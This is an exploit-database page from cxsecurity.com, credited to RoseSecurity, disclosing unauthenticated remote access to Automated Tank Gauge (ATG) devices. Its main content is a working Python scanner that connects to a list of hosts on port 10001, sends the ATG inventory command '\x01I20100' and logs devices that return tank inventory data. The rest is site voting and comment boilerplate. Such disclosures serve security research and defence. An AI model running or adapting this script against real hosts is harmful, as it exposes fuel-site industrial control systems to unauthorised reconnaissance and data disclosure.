Automated Tank Gauge (ATG) Remote Configuration Disclosure

2022.11.03
Credit: RoseSecurity
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/env python3 import time import socket with open("/tmp/ATG_SCAN.txt",'r') as atg_file: for line in atg_file.read().splitlines(): try: atg_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) port = 10001 search_str = 'IN-TANK INVENTORY' msg = str('\x01' + 'I20100' + '\n').encode('ascii') atg_socket.connect((line, port)) atg_socket.send(msg) time.sleep(.25) response = atg_socket.recv(1024).decode() if search_str in response: with open("/tmp/ATG_DEVICES.txt", 'a') as file2: file2.write(line + "\t ->\tATG Device\n") else: continue atg_socket.close() except: pass atg_file.close()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top